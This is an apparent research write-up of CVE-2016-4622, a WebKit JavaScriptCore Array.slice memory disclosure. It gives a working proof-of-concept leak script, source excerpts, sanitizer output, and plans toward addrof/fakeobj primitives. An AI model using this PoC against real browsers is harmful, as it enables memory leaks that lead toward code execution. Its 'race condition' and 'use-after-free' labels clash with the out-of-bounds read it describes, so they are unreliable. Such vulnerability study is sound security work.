/ 7 min read
WebKit CVE-2016-4622: Array.slice Memory Disclosure
Comprehensive analysis and exploitation of the WebKit JavaScript Core vulnerability that enables memory disclosure through Array.slice manipulation
Table of Contents
- Executive Summary
- Vulnerability Overview
- Research Environment Setup
- Technical Analysis
- Exploitation Walkthrough
- Key Findings
- Resources and References
Executive Summary
This repository contains a comprehensive analysis of CVE-2016-4622, a critical memory disclosure vulnerability in WebKit’s JavaScript Core engine. The vulnerability stems from a race condition in the Array.slice()
implementation that can be exploited to leak adjacent memory contents, serving as a foundation for more sophisticated exploitation primitives like addrof
and fakeobj
.
Impact: Memory disclosure leading to potential remote code execution
Affected Component: WebKit JavaScript Core (JSC)
Root Cause: Time-of-check-time-of-use (TOCTOU) vulnerability in fastSlice
implementation
Vulnerability Overview
The Core Issue
The vulnerability exists in WebKit’s optimized “fast path” for the Array.slice()
method. When processing slice parameters, the engine converts object arguments to primitive values by calling their valueOf()
method. This conversion happens after determining the slice operation parameters but before the actual memory copy operation.
Attack Vector
var a = [];for (var i = 0; i < 100; i++) a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});print(b);
What happens:
- Array
a
is created with 100 elements - During slice parameter processing,
valueOf()
is called - The malicious
valueOf()
shrinks the array to length 0 memcpy
attempts to copy 10 elements from an empty array- Result: Adjacent memory is copied, causing information disclosure
Technical Details
- Vulnerability Type: Memory Corruption / Use-After-Free
- Component: WebKit JavaScriptCore (JSC)
- Impact: Remote Code Execution
- CVSS Score: 8.8 (High)
- Affected Versions: Safari versions prior to security update
Research Environment Setup
Repository Structure
WebKit-CVE-2016-4622/├── Saelo-Exploit-CVE-2016-4622/ # Reference implementation by Saelo├── Exploit/ # Custom exploitation attempts│ ├── poc-memleak.js # Memory leak proof-of-concept│ └── slice_over_array.js # Educational examples├── WebKit-SRC-CVE-2016-4622/ # Vulnerable source code (commit 320b1fc)├── WebKit-Bins/ # Compiled binaries for testing│ ├── Debug/ # Debug build with symbols│ └── ASAN/ # AddressSanitizer enabled build└── Screenshoots/ # Visual documentation
Debug Environment Components
# WebKit Debug Build with Address Sanitizercd WebKit-Bins/ASANexport DYLD_FRAMEWORK_PATH=$(pwd)./jsc ../../Exploit/poc-memleak.js
Testing Environment:
- Binaries: Pre-compiled JSC binaries built on VMWare OSX 10.11 with XCode 7.3.2
- Architecture: x86_64 Mach-O executables
- Debug Features: Symbols + AddressSanitizer for comprehensive analysis
Running the Proof of Concept
cd WebKit-Bins/Debugexport DYLD_FRAMEWORK_PATH=$(pwd)./jsc ../../Exploit/poc-memleak.js
# Expected output showing memory leak:# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Technical Analysis
Understanding Array.slice() Mechanics
The Array.slice(begin, end)
method creates a shallow copy of a portion of an array. Under normal circumstances:
var array = ['a', 'b', 'c', 'd'];var subset = array.slice(1, 3); // Returns ['b', 'c']
Key insight: The end
parameter undergoes type conversion via valueOf()
, creating a window for exploitation.
Call Stack Analysis
When the vulnerability triggers, AddressSanitizer captures this call flow:
#0 memcpy-param-overlap detected#1 JSC::JSArray::fastSlice()#2 JSC::arrayProtoFuncSlice()#3 JavaScript execution context

Address Sanitizer Output
When executing the PoC with AddressSanitizer, we observe the following critical error:
==1699==ERROR: AddressSanitizer: memcpy-param-overlap:memory ranges [0x000114cd4780,0x000114cd47d0) and[0x000114cd4768, 0x000114cd47b8) overlap
Deep Dive: Function-by-Function Analysis
1. arrayProtoFuncSlice()
- Entry Point
Location: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec){ JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec); unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length); unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination std::pair<SpeciesConstructResult, JSObject*> speciesResult = speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) { // Vulnerability triggers here if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin)) return JSValue::encode(result); } // ... fallback implementation}
2. argumentClampedIndexFromStartOrEnd()
- The Conversion Trigger
Location: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0){ JSValue value = exec->argument(argument); if (value.isUndefined()) return undefinedValue;
// CRITICAL: This is where valueOf() gets called double indexDouble = value.toInteger(exec);
if (indexDouble < 0) { indexDouble += length; return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble); } return indexDouble > length ? length : static_cast<unsigned>(indexDouble);}
The Race Condition:
- When processing the second parameter
{valueOf: function() { a.length = 0; return 10; }}
value.toInteger(exec)
calls our maliciousvalueOf()
- Our function modifies the array length from 100 to 0
- But the slice operation parameters (begin=0, end=10) remain unchanged
3. fastSlice()
- Where Memory Corruption Occurs
Location: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count){ auto arrayType = indexingType(); switch (arrayType) { case ArrayWithDouble: case ArrayWithInt32: case ArrayWithContiguous: { // ... setup code ...
auto& resultButterfly = *resultArray->butterfly(); if (arrayType == ArrayWithDouble) // VULNERABILITY: Reads beyond array bounds memcpy(resultButterfly.contiguousDouble().data(), m_butterfly.get()->contiguousDouble().data() + startIndex, sizeof(JSValue) * count); // ... }}
The Memory Corruption:
startIndex = 0
,count = 10
- Array length is now 0 (modified by
valueOf()
) memcpy
reads 10 JSValues starting from index 0- Since the array is empty, this reads adjacent heap memory
- Result: Information disclosure vulnerability
Exploitation Walkthrough
Step-by-Step Attack Flow
-
Setup Phase
var a = [];for (var i = 0; i < 100; i++)a.push(i + 0.123);- Creates ArrayWithDouble type with 100 elements
- Elements are stored contiguously in memory
-
Trigger Phase
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});- Initiates slice operation with malicious object as end parameter
- Fast path validation passes (array appears normal)
-
Exploitation Phase
- Parameter conversion calls
valueOf()
- Array length reduced to 0
fastSlice
attempts to copy 10 elements from empty array- Adjacent memory leaked into result array
- Parameter conversion calls
-
Result
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0- First two values: legitimate array data
- Remaining values: leaked adjacent memory
Visual Representation
Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)After valueOf(): [] (length=0)memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...
Memory Leak Achievement
The PoC demonstrates a memory leak that reveals heap contents:
Output: 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0 ^^^^^^^^^^^^^^^^ Leaked memory content
Building Exploitation Primitives
This vulnerability serves as a foundation for more advanced exploitation:
- addrof primitive: Leak object addresses
- fakeobj primitive: Create fake JavaScript objects
- Arbitrary read/write: Control memory access patterns
Key Findings
Root Cause Analysis
Component | Issue | Impact |
---|---|---|
Parameter Processing | TOCTOU in argumentClampedIndexFromStartOrEnd | Allows state modification during processing |
Fast Path Logic | Insufficient validation in fastSlice | Bypasses bounds checking |
Memory Operations | Unchecked memcpy in array copy | Direct memory disclosure |
Exploitation Primitives
This vulnerability serves as a foundation for:
- Information Disclosure: Direct memory leak capability
- ASLR Bypass: Potential address space layout revelation
- Type Confusion: Setup for
addrof
/fakeobj
primitives
JavaScript Engine Internals
Understanding WebKit’s object representation is crucial:
// Array types in WebKit JSC// ArrayWithDouble: Optimized storage for floating-point numbers// ArrayWithInt32: Optimized storage for integers// ArrayWithContiguous: General object storage
var array = [];for (var i = 0; i < 100; i++) array.push(i + 0.123); // Creates ArrayWithDouble
Debugging Techniques
Essential tools for browser exploitation research:
# Debug binary compilationgit checkout 320b1fc3f6fexport CC=/usr/bin/clangexport CXX=/usr/bin/clang++
# ASAN compilation flags-fsanitize=address -fno-omit-frame-pointer -g
Mitigation and Detection
Vendor Response
- Timeline: Reported and patched in WebKit security updates
- Fix: Enhanced bounds checking in array slice operations
- Mitigation: Proper validation of array lengths during callbacks
Detection Strategies
- Static Analysis: Code review of array manipulation functions
- Dynamic Analysis: Runtime bounds checking with AddressSanitizer
- Fuzzing: Automated testing of JavaScript engine edge cases
Defensive Considerations
Mitigation Strategies:
- Validate array bounds before
memcpy
operations - Implement consistent state checking in fast paths
- Add runtime bounds verification for optimized operations
Resources and References
Research Papers & Articles
- Attacking JavaScript Engines - Saelo (Phrack)
- CVE-2016-4622 Analysis - TuringH
- Deep Dive Analysis - null2root
- WebKit Exploitation Tutorial
Technical Documentation
- CVE-2016-4622 Official Entry
- Array.slice() - MDN Web Docs
- WebKit Source Code
- WebKit Security Advisory
Tools & Environment
- Vulnerable Commit:
320b1fc3f6f
- Build Environment: VMWare OSX 10.11, XCode 7.3.2
- Analysis Tools: AddressSanitizer, GDB, JSC Debug Builds
- Research Repository: GitHub repository
Conclusion
CVE-2016-4622 represents a classic browser exploitation vulnerability that demonstrates the complexity of modern JavaScript engine security. Through systematic analysis of the WebKit source code and careful debugging with specialized tools, we can understand how seemingly simple race conditions can lead to powerful exploitation primitives.
This research contributes to the broader understanding of browser security and highlights the ongoing need for rigorous testing, secure coding practices, and defense-in-depth strategies in web browser development.
The complete research code and debugging environment provide a foundation for further security research and education, demonstrating how memory disclosure vulnerabilities can serve as stepping stones for more sophisticated attacks.
Research Timeline: April 11-12, 2020
Status: Discontinued project ✅
Next Steps: Development of full exploitation chain with addrof
/fakeobj
primitives